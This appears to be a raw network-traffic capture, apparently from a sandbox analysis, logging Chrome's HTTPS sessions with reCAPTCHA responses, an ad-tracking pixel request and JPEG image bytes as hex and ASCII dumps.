QoukH5jSO3sKFzVEA7Vc8VgC03AFcWeA6sLBuUTGul8pwJjnC3gHvc_NpWmpGyz2QXUdR8WLj-9hby0zv_RygkCVzXNTNjGNv3Imk0IeKmAMoWjmq_s_8ZJPhCpyuqf_dHYkvWjsOiZz-PryNnR1U913OTaJPHe_mWgTYTndOSt0Q2swF6I9DOFjEgrCVJXpJ9bHt5-QY7_i_jcGuXZ1p60VIMs76EzLd2rWxyVmc3phe0fyLGIZu1XcHw
2024-04-24 12:45:35 UTC	696	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Wed, 24 Apr 2024 12:45:35 GMT Expires: Wed, 24 Apr 2024 12:45:35 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: _GRECAPTCHA=09AKPP-6d3GaTVt9LmQh_xcdk9ZgH29mfHb0FZsJch4Tu-G1p8NrkjO8SwWDyyRgYTR_E-WENE2OMXu_PzjeMjcvY;Path=/recaptcha;Expires=Mon, 21-Oct-2024 12:45:35 GMT;Secure;HttpOnly;Priority=HIGH;SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:35 UTC	559	IN	Data Raw: 32 33 61 0d 0a 29 5d 7d 27 0a 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 34 5a 75 64 74 43 32 33 4a 58 51 35 74 49 71 58 49 5f 5a 33 41 63 42 75 68 32 48 6a 70 6e 35 4a 2d 4e 51 4b 58 63 6b 62 53 48 76 77 51 4d 55 4f 4a 79 70 57 42 4e 6a 67 58 66 6a 45 70 77 63 33 5a 6a 31 5f 41 41 4a 70 4f 50 58 45 55 42 6c 5f 77 68 63 59 54 4b 54 6b 63 77 72 45 36 51 46 30 6e 45 4a 61 2d 70 39 51 30 78 31 5f 67 2d 48 4f 6c 4a 57 62 31 31 32 77 58 36 4c 76 34 48 63 53 7a 57 69 64 66 4d 59 4a 78 47 63 47 4d 66 4e 42 42 6c 6c 48 56 59 51 42 6e 46 73 67 2d 4b 33 42 73 5a 33 34 68 37 6b 41 41 56 39 42 63 32 4f 33 4f 4c 64 65 34 66 54 73 75 33 64 51 45 6e 32 76 50 4a 6d 33 64 2d 6e 66 50 38 56 5a 4b 76 5f 6c 78 4f 32 68 49 56 58 49 38 5f 43 6d 76 6e 39 44 51 51 39 Data Ascii: 23a)]}'["rresp","03AFcWeA4ZudtC23JXQ5tIqXI_Z3AcBuh2Hjpn5J-NQKXckbSHvwQMUOJypWBNjgXfjEpwc3Zj1_AAJpOPXEUBl_whcYTKTkcwrE6QF0nEJa-p9Q0x1_g-HOlJWb112wX6Lv4HcSzWidfMYJxGcGMfNBBllHVYQBnFsg-K3BsZ34h7kAAV9Bc2O3OLde4fTsu3dQEn2vPJm3d-nfP8VZKv_lxO2hIVXI8_Cmvn9DQQ9
2024-04-24 12:45:35 UTC	18	IN	Data Raw: 6d 57 6f 68 35 6f 75 70 53 4f 4d 73 6e 30 42 56 0d 0a Data Ascii: mWoh5oupSOMsn0BV
2024-04-24 12:45:35 UTC	1255	IN	Data Raw: 61 34 36 0d 0a 50 39 33 62 6c 63 62 74 63 76 70 7a 55 7a 57 79 77 77 77 6b 74 31 34 71 71 76 4f 48 35 33 6c 54 49 69 32 51 73 37 71 48 59 52 66 42 52 39 4d 70 69 65 79 59 61 5f 71 4b 56 71 4e 37 5f 76 73 4d 39 77 6b 52 47 34 6f 39 4e 71 33 75 75 55 4c 5f 44 4b 6f 63 44 4a 6b 62 63 42 71 32 54 4f 66 45 50 6d 73 33 68 61 72 78 37 4f 4a 42 66 5a 6e 76 74 4e 38 6e 54 70 4b 6a 4b 33 58 35 59 57 32 75 56 65 52 6a 7a 70 31 55 64 47 72 4a 32 65 44 4a 56 38 73 39 70 46 4a 58 31 42 70 4b 37 4e 78 30 6d 38 66 68 2d 45 69 68 41 5a 36 67 58 79 34 48 61 72 32 66 48 51 45 44 77 50 32 41 6e 77 6f 53 41 6d 58 42 6a 47 71 4d 39 64 34 69 6f 35 71 50 6f 4c 30 6a 68 35 65 54 5a 4a 4d 54 39 49 76 41 56 7a 62 57 78 61 4a 6f 4d 35 74 7a 36 38 70 4f 59 76 49 4b 58 4b 42 50 56 48 Data Ascii: a46P93blcbtcvpzUzWywwwkt14qqvOH53lTIi2Qs7qHYRfBR9MpieyYa_qKVqN7_vsM9wkRG4o9Nq3uuUL_DKocDJkbcBq2TOfEPms3harx7OJBfZnvtN8nTpKjK3X5YW2uVeRjzp1UdGrJ2eDJV8s9pFJX1BpK7Nx0m8fh-EihAZ6gXy4Har2fHQEDwP2AnwoSAmXBjGqM9d4io5qPoL0jh5eTZJMT9IvAVzbWxaJoM5tz68pOYvIKXKBPVH
2024-04-24 12:45:35 UTC	1255	IN	Data Raw: 6a 59 6f 53 58 5a 63 69 61 5f 7a 6f 65 61 72 2d 71 58 32 57 59 57 6f 75 4a 4c 53 38 74 53 30 57 4d 44 53 42 67 7a 69 7a 56 51 36 7a 74 75 6c 65 31 2d 54 35 62 42 57 4b 56 7a 53 55 35 37 74 35 70 4a 6c 56 4e 6f 49 4b 6f 51 33 6e 64 62 42 44 6c 6b 30 65 51 6c 75 6c 61 36 66 6c 51 39 4e 42 55 4a 57 4e 34 78 37 43 6b 4d 68 49 4d 76 38 76 4d 75 58 2d 71 77 44 67 46 69 77 49 5a 57 62 47 39 6a 52 55 48 51 66 43 33 4e 48 32 6a 75 6b 74 79 4b 62 46 49 59 36 75 37 32 59 6b 6d 52 73 4b 62 76 73 38 51 62 32 43 63 53 35 53 62 36 6b 54 53 68 4c 73 67 54 72 76 6f 31 62 4d 4e 44 2d 62 48 74 77 5a 43 47 49 46 51 58 41 47 70 63 68 58 78 52 47 35 30 64 54 66 32 78 42 57 71 76 74 58 76 4c 30 37 53 5a 6b 67 70 31 2d 6f 31 73 4d 64 61 42 72 4f 57 5a 6c 41 66 77 41 4b 4d 33 56 Data Ascii: jYoSXZcia_zoear-qX2WYWouJLS8tS0WMDSBgzizVQ6ztule1-T5bBWKVzSU57t5pJlVNoIKoQ3ndbBDlk0eQlula6flQ9NBUJWN4x7CkMhIMv8vMuX-qwDgFiwIZWbG9jRUHQfC3NH2juktyKbFIY6u72YkmRsKbvs8Qb2CcS5Sb6kTShLsgTrvo1bMND-bHtwZCGIFQXAGpchXxRG50dTf2xBWqvtXvL07SZkgp1-o1sMdaBrOWZlAfwAKM3V
2024-04-24 12:45:35 UTC	127	IN	Data Raw: 2d 58 70 62 62 7a 38 42 2d 4a 30 34 75 52 79 55 76 69 6d 46 51 45 36 71 77 6f 5f 75 6a 6c 50 36 35 68 63 5f 69 63 33 32 30 4d 6a 6a 73 47 37 6f 35 78 35 41 68 67 41 56 6e 37 32 75 32 63 67 34 34 79 62 43 53 33 46 4f 57 63 6b 65 55 66 68 6c 59 33 78 62 36 5a 64 34 45 68 73 4b 32 32 45 58 59 35 43 4d 37 67 59 77 31 5f 51 4b 30 6c 39 4a 4e 71 73 5f 62 6b 42 71 36 73 70 4c 59 0d 0a Data Ascii: -Xpbbz8B-J04uRyUvimFQE6qwo_ujlP65hc_ic320MjjsG7o5x5AhgAVn72u2cg44ybCS3FOWckeUfhlY3xb6Zd4EhsK22EXY5CM7gYw1_QK0l9JNqs_bkBq6spLY
2024-04-24 12:45:35 UTC	1255	IN	Data Raw: 31 35 34 64 0d 0a 30 48 34 42 74 36 43 2d 61 69 4c 34 4e 59 65 34 64 63 74 32 35 55 47 4f 53 73 2d 75 44 41 4b 62 31 6a 4c 75 68 59 6c 48 75 36 55 79 51 6c 30 32 36 73 79 41 42 6c 69 6a 4a 54 6f 32 50 78 73 55 44 51 48 78 72 6d 70 68 4c 52 6d 42 6a 76 52 50 66 6b 73 7a 39 76 65 43 75 73 53 54 32 35 4b 39 71 77 50 51 63 64 56 47 75 78 79 57 4f 46 70 52 63 56 41 59 66 76 55 30 58 56 54 31 6f 70 6e 38 69 31 51 4f 6f 6d 7a 5a 4c 6e 33 56 7a 57 30 67 55 6f 63 38 36 61 6e 4b 6a 72 78 6e 6e 66 68 62 44 6a 34 48 41 50 53 51 75 59 47 79 61 34 61 38 33 61 61 44 4f 46 35 56 79 68 5a 46 36 47 64 54 34 62 78 53 6c 78 32 6c 37 5f 6f 49 48 79 61 6d 4e 56 39 38 61 77 78 7a 61 4c 6e 50 5f 74 6c 31 54 45 69 6f 78 77 2d 4f 31 71 63 30 44 51 43 2d 42 74 63 36 50 6e 30 77 76 Data Ascii: 154d0H4Bt6C-aiL4NYe4dct25UGOSs-uDAKb1jLuhYlHu6UyQl026syABlijJTo2PxsUDQHxrmphLRmBjvRPfksz9veCusST25K9qwPQcdVGuxyWOFpRcVAYfvU0XVT1opn8i1QOomzZLn3VzW0gUoc86anKjrxnnfhbDj4HAPSQuYGya4a83aaDOF5VyhZF6GdT4bxSlx2l7_oIHyamNV98awxzaLnP_tl1TEioxw-O1qc0DQC-Btc6Pn0wv
2024-04-24 12:45:35 UTC	1255	IN	Data Raw: 69 64 30 2d 72 39 49 43 51 59 6b 57 30 73 53 36 6b 5f 5a 4a 71 30 79 46 4b 4c 78 77 77 5f 6d 34 76 53 37 7a 6f 75 37 55 43 5f 47 33 70 7a 34 59 44 56 74 45 79 76 39 4e 33 5f 45 73 32 75 72 58 71 34 6b 79 45 75 42 58 53 47 44 4c 6d 2d 43 50 42 31 41 30 35 48 67 42 46 5a 79 4a 36 52 52 59 53 6e 65 45 6b 45 7a 4d 4e 53 4a 72 6a 2d 4b 73 5a 53 48 4e 77 50 79 59 77 4d 78 42 59 4b 59 30 2d 73 5f 48 42 4a 43 4c 72 67 39 73 44 49 30 70 69 42 62 34 73 44 79 4f 59 61 34 32 42 79 35 41 74 48 36 49 6f 44 6b 34 35 6d 32 5f 76 31 41 75 66 51 35 6c 75 62 5a 4f 70 78 6f 46 4a 66 76 76 6d 30 79 38 31 30 4a 77 36 6f 45 5a 4a 74 35 61 77 76 41 74 46 62 31 50 41 59 42 79 4b 42 4b 72 6d 6f 32 38 77 78 76 61 31 76 51 7a 51 61 74 37 64 58 70 41 58 75 66 50 45 50 2d 70 55 79 6f Data Ascii: id0-r9ICQYkW0sS6k_ZJq0yFKLxww_m4vS7zou7UC_G3pz4YDVtEyv9N3_Es2urXq4kyEuBXSGDLm-CPB1A05HgBFZyJ6RRYSneEkEzMNSJrj-KsZSHNwPyYwMxBYKY0-s_HBJCLrg9sDI0piBb4sDyOYa42By5AtH6IoDk45m2_v1AufQ5lubZOpxoFJfvvm0y810Jw6oEZJt5awvAtFb1PAYByKBKrmo28wxva1vQzQat7dXpAXufPEP-pUyo
2024-04-24 12:45:35 UTC	1255	IN	Data Raw: 65 4b 44 4f 72 68 6d 55 75 64 6b 6a 46 32 51 32 32 36 77 6f 5a 75 4c 42 62 70 2d 69 71 36 5a 69 75 56 6b 37 4f 5a 37 76 51 76 54 74 70 6e 4a 5f 63 4f 4f 6e 57 67 35 43 65 6d 4a 6f 47 78 4a 35 70 70 54 6f 46 70 73 69 59 33 66 70 4b 47 31 36 54 61 46 65 4c 33 58 6b 53 6d 73 71 47 46 58 78 6a 7a 67 6b 41 64 49 39 64 4b 6e 49 6b 76 71 36 31 6e 35 67 6c 74 47 71 38 5a 42 62 38 72 79 57 55 70 51 52 72 64 6b 77 49 4a 74 38 72 42 57 53 71 36 58 6d 44 22 2c 6e 75 6c 6c 2c 36 30 30 2c 5b 22 70 6d 65 74 61 22 2c 5b 22 2f 6d 2f 30 31 62 6a 76 22 2c 6e 75 6c 6c 2c 33 2c 33 2c 33 2c 6e 75 6c 6c 2c 22 62 75 73 22 5d 2c 6e 75 6c 6c 2c 5b 31 5d 5d 2c 22 64 79 6e 61 6d 69 63 22 2c 6e 75 6c 6c 2c 5b 22 62 67 64 61 74 61 22 2c 22 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 Data Ascii: eKDOrhmUudkjF2Q226woZuLBbp-iq6ZiuVk7OZ7vQvTtpnJ_cOOnWg5CemJoGxJ5ppToFpsiY3fpKG16TaFeL3XkSmsqGFXxjzgkAdI9dKnIkvq61n5gltGq8ZBb8ryWUpQRrdkwIJt8rBWSq6XmD",null,600,["pmeta",["/m/01bjv",null,3,3,3,null,"bus"],null,[1]],"dynamic",null,["bgdata","Ly93d3cuZ29vZ2x
2024-04-24 12:45:35 UTC	1255	IN	Data Raw: 33 51 31 59 54 5a 75 55 55 55 32 64 48 46 48 53 6b 4e 61 62 7a 45 30 65 57 74 76 52 32 4e 44 55 45 70 50 56 32 6b 76 64 6b 70 71 57 6c 56 44 63 6d 68 68 4f 54 4e 6b 52 56 70 35 55 32 78 61 62 31 46 4d 56 56 46 6b 53 7a 56 6f 52 7a 6c 5a 64 57 70 55 63 54 6c 6a 5a 54 51 32 4e 57 6c 34 53 6d 4a 75 53 44 46 71 5a 30 39 5a 4e 32 46 4c 63 6e 63 31 4d 33 4a 49 57 6b 68 4f 53 33 70 44 59 54 42 36 54 30 64 59 65 46 6c 46 53 57 5a 76 52 57 46 58 55 46 6c 6f 4d 56 4a 72 65 57 5a 70 4d 32 52 6f 53 45 64 79 4b 7a 6c 35 4e 6b 6f 34 54 45 39 6e 65 56 5a 4d 63 6c 5a 7a 61 6c 42 44 64 33 5a 5a 56 31 64 69 63 44 52 5a 5a 6d 78 35 55 31 70 55 51 6c 56 48 4e 6d 35 4f 52 58 4e 56 4d 45 68 35 55 47 51 30 55 46 63 30 52 56 46 35 52 56 64 48 63 31 42 61 53 6a 42 49 4d 32 4a 42 Data Ascii: 3Q1YTZuUUU2dHFHSkNabzE0eWtvR2NDUEpPV2kvdkpqWlVDcmhhOTNkRVp5U2xab1FMVVFkSzVoRzlZdWpUcTljZTQ2NWl4SmJuSDFqZ09ZN2FLcnc1M3JIWkhOS3pDYTB6T0dYeFlFSWZvRWFXUFloMVJreWZpM2RoSEdyKzl5Nko4TE9neVZMclZzalBDd3ZZV1dicDRZZmx5U1pUQlVHNm5ORXNVMEh5UGQ0UFc0RVF5RVdHc1BaSjBIM2JB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.4	50231	15.197.193.217	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:36 UTC	1095	OUT	GET /track/up?adv=3l6d758&ref=https%3A%2F%2Fvalleyprohealth.org%2Fservices&upid=6su09yz&upv=1.1.0 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwi4svOo5JnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
2024-04-24 12:45:36 UTC	653	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:45:36 GMT Content-Type: text/html Content-Length: 382 Connection: close server: Kestrel set-cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; expires=Thu, 24 Apr 2025 12:45:36 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwjK36-05ZnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..; expires=Thu, 24 Apr 2025 12:45:36 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-24 12:45:36 UTC	382	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 6e 69 76 65 72 73 61 6c 5f 70 69 78 65 6c 2e 31 2e 31 2e 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 75 6e 69 76 65 72 73 61 6c 50 69 78 65 6c 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <html><head> <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script></head><body> <div id="universalPixelContainer"> <script type="text/javascript"> (function(global) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.4	50232	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:36 UTC	1333	OUT	GET /recaptcha/api2/payload?p=06AFcWeA7LjcbJjjYNoXnHdP3oeBQRJ_9LAsk_nugOdAHY58B82Yb1hs851KZhqBW95Wtoe5xeO-_rvSxt2TJRjIkhg2Qsr9esXafinJUyXkfTttXhh06AGxtrzRR5KfGfn8ig9E6OUr0EPEz1Lp4TPCo2DV3QJUCKViPs1oFgsKDQL-LgsTgSVyYZTlYl9WNg5ym2Df8b5DMm&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6d3GaTVt9LmQh_xcdk9ZgH29mfHb0FZsJch4Tu-G1p8NrkjO8SwWDyyRgYTR_E-WENE2OMXu_PzjeMjcvY; NID=513=UOTnu3DTHjkAMN_AKxC1bWfz-TMuAkBQHuEWud0wYNbyadN-jsgCI4rVwUD5kj6TumhiT2jGUOqwnycr9nLPAvIATSjM6wIk2x1A1W3OuupDJ9gyLGRtuU80fQEcLJrLlPv7XkjqU9ZpIRQu9Ui7rvqFgr7a4QC3umozUl1sS9E
2024-04-24 12:45:36 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Wed, 24 Apr 2024 12:45:36 GMT Date: Wed, 24 Apr 2024 12:45:36 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:45:36 UTC	6	IN	Data Raw: 36 45 33 37 0d 0a Data Ascii: 6E37
2024-04-24 12:45:36 UTC	1255	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C,,"}!1AQa"q2
2024-04-24 12:45:36 UTC	1255	IN	Data Raw: a2 72 7d 40 cd 59 bd b5 67 63 90 07 d2 b1 ee 20 65 24 2b 7e 46 bd 68 45 3e a6 33 93 45 b9 ef 94 22 ac 71 13 9f 5f eb 59 f7 17 b3 3b 10 d2 1c 7f 75 7a 55 76 46 0d 82 49 fc 68 d9 c5 6c a9 c5 18 b9 b6 23 c8 8d ff 00 2c 87 e7 50 94 c9 ce 00 ab 02 3a 70 8a ab 62 77 2a f9 74 a2 3a b4 22 a9 6c ed 4d cd dc 56 e1 82 99 1c 2e 4f 6c d0 e4 ac 16 3d 27 e1 c5 d1 9b c3 c9 09 40 be 4b 14 04 36 49 1e a4 76 ff 00 eb 57 4b 59 be 1f d1 2d 34 6b 72 96 ac ee ce 07 98 c5 b8 62 3b e3 b5 68 b3 05 19 35 e3 54 69 c9 b4 7a 51 4d 45 26 04 90 2b e0 c9 b4 c2 88 aa 2e 26 6d a3 00 39 ce 07 a7 ad 7d d9 25 d0 03 02 be 43 ba b5 0e 0e 40 3f 51 50 d0 33 8a 4b 66 45 3c 2f 1d 7b 66 99 73 15 c3 43 fb af 2c 13 f8 f1 5d 05 d5 aa 00 46 d1 ef 8e 2a 94 d6 db 23 18 1d 2b 36 da 04 91 cc 47 6b a8 5a c8 Data Ascii: r}@Ygc e$+~FhE>3E"q_Y;uzUvFIhl#,P:pbwt:"lMV.Ol='@K6IvWKY-4krb;h5TizQME&+.&m9}%C@?QP3KfE</{fsC,]F#+6GkZ
2024-04-24 12:45:36 UTC	1255	IN	Data Raw: 82 30 6b ba 35 54 95 ce 49 53 71 65 4b 6b 47 9e 50 88 a7 92 32 40 ce 07 ad 7a 36 9d e1 ad 2e 3b 1b 60 d0 a4 8c 98 76 62 3e fb 7b fb 7b 57 3b e1 bf 22 26 63 71 3c 71 22 f3 f3 75 27 b5 75 96 da c6 9d 27 ee d2 e3 73 01 c8 00 e2 b9 6b ce 4d d9 1b d2 8a 4a ec 88 4f 71 1c ef 17 cc a8 3e e8 c7 02 ad a9 dc 9b 64 2c 1f de a2 9a ea 00 77 22 12 de a4 d5 69 6e bc c3 9c d7 31 bd c9 5c 36 30 6b e6 29 a3 25 48 2b c7 6a fa 4d ee 09 f7 af 9c 67 63 eb fa d2 7a 12 64 5c 40 08 e3 24 9f 6a a5 3d b9 da 41 1d ab 59 f1 cf 63 9c e6 aa cb ca 93 9a 86 52 39 eb 8b 71 92 6a a4 96 c3 b0 ad ab 98 c8 04 83 de aa 34 7f 21 27 b1 a8 b1 49 98 f2 21 50 72 0e 2a 28 11 96 3e 41 c6 33 83 5a 73 20 24 8f 7a 82 55 00 11 90 38 a4 d8 ca 92 0f 6f c6 98 c0 1a 99 f2 30 0d 44 d8 e0 8a 63 21 7b 58 64 43 Data Ascii: 0k5TISqeKkGP2@z6.;`vb>{{W;"&cq<q"u'u'skMJOq>d,w"in1\60k)%H+jMgczd\@$j=AYcR9qj4!'I!Pr*(>A3Zs $zU8o0Dc!{XdC
2024-04-24 12:45:36 UTC	333	IN	Data Raw: 8d d8 7d 68 95 48 b8 d8 6a 0d 3b 90 5a 4c a5 f7 05 60 71 82 31 82 2b 42 5b 1b 0b e8 54 cf 08 90 63 00 93 82 33 8c f4 fa 54 52 5e c1 2c 86 14 01 66 3c 93 80 33 f8 fd 2a cc 33 c7 1a 05 61 b4 f4 fa d6 3a ad 8d 5a b9 4a 1f 0e e9 71 3c 9b a2 69 56 4e 8a e7 ee fd 08 e6 a3 bd f0 dd b3 39 9a c5 be cf 27 64 cf c9 fe 22 b6 89 52 bb b2 31 eb 54 d6 e5 56 eb 66 fd f9 e8 45 3e 79 77 27 95 18 0a cc bb a2 97 f7 72 45 c3 03 46 ed c3 ad 74 77 d1 5a 07 5b 89 2d d2 49 46 30 48 f4 f5 ae 7e fe 51 25 dc 92 79 6b 1e 4f 2a 3f 9d 5a 69 8b 61 b9 f7 af 9f 6e 40 c6 46 09 f4 af 7c 07 26 bc 26 48 b2 b9 a9 a9 d0 68 ca b8 03 15 c6 5d 78 9d 2d ef 66 b7 94 a0 f2 e4 65 c0 52 4f 07 15 db 5d 26 dc f2 6b c8 f5 8b 19 ae 7c 4b 73 1c 78 fd e5 cb 64 93 80 a3 71 e6 b2 6a e5 1d 19 f1 2d 8b 8f 99 c8 Data Ascii: }hHj;ZL`q1+B[Tc3TR^,f<33a:ZJq<iVN9'd"R1TVfE>yw'rEFtwZ[-IF0H~Q%ykO?Zian@F\|&&Hh]x-feRO]&k\|Ksxdqj-
2024-04-24 12:45:36 UTC	1255	IN	Data Raw: 64 cf fa 54 1f 42 f8 fe 75 0e 99 a6 59 bc ed 05 dc 12 40 7a 17 60 d9 5f f8 0d 74 17 3a 46 9b a7 e9 16 f7 06 34 91 a7 9a 48 c7 99 13 02 36 2a 12 7e 87 7f e9 53 cc b7 17 b5 b7 43 1b c8 9e 55 57 89 37 a1 1c 32 b0 20 d4 32 c1 2c 38 32 a9 40 7a 67 bd 74 96 aa 8f 02 f9 11 24 68 07 0a a3 00 7a d6 7e bf 19 0b 17 d4 d5 23 54 ee ae 62 19 95 18 02 c2 9d e6 02 78 23 ad 6e f8 1a d6 de f3 55 92 da e6 de 29 96 4d a0 79 8c ab 8e 7f bc c0 81 f5 c5 74 1a 7f 85 e1 d6 2f c4 11 69 d1 43 14 53 88 a4 97 21 54 2f f7 8f 23 38 c1 39 14 ba d8 87 52 ce d6 3c fd d8 66 95 70 47 5a e8 3c 63 a0 43 a3 6a 6b 6a 23 91 72 9b b2 72 37 0c 9c 10 0f 62 31 58 32 46 a8 db 57 38 f7 a7 62 93 ba 3d 7f c3 d7 5a 42 e9 5a 42 5b 5b ce e5 e6 d5 61 18 74 50 1b ec 88 5b a2 9c e4 62 92 0d 4e da 7d 0a 62 9a Data Ascii: dTBuY@z`_t:F4H6*~SCUW72 2,82@zgt$hz~#Tbx#nU)Myt/iCS!T/#89R<fpGZ<cCjkj#rr7b1X2FW8b=ZBZB[[atP[bN}b
2024-04-24 12:45:36 UTC	1255	IN	Data Raw: 5f 14 3c 49 06 9f 1c 0f 71 05 d6 d0 00 96 61 b9 c8 e9 82 d9 19 3d 3a fa 55 ff 00 0c 7c 4f f1 04 17 ad 0d f6 97 2d ca 00 77 48 b1 32 3e 3d 41 03 04 7e 15 d1 1a d0 64 d9 9e d7 69 e2 0f 28 95 89 18 e7 a6 e9 57 f9 13 5a 1a 7c d3 6a 2c e1 84 68 e1 4e 30 40 39 f6 22 b8 cd 07 c6 3a 0e a1 13 19 51 ad 9c 75 4b a8 ca 1c e7 b1 e8 7f 3a d9 8b 58 d2 80 3e 5d dd b6 07 20 ac cb c7 eb 5a 68 f6 0f 53 78 dc df c3 98 64 89 95 58 75 7e bc 7b 8a 6c 56 6d 70 ce d1 40 64 93 1b 8a 87 ce 07 d2 bc af c6 1f 12 b5 0b 3d 61 6d b4 14 fb 45 bc 43 32 bb a3 9f 30 ff 00 74 1e c3 de b8 7d 5b c6 fe 22 b9 d6 1f 52 5d 5a e6 ce 79 15 62 c5 bc 8d 1e d5 1c e0 0c e7 ad 63 3a f1 80 ed 73 d7 bc 6b e2 eb 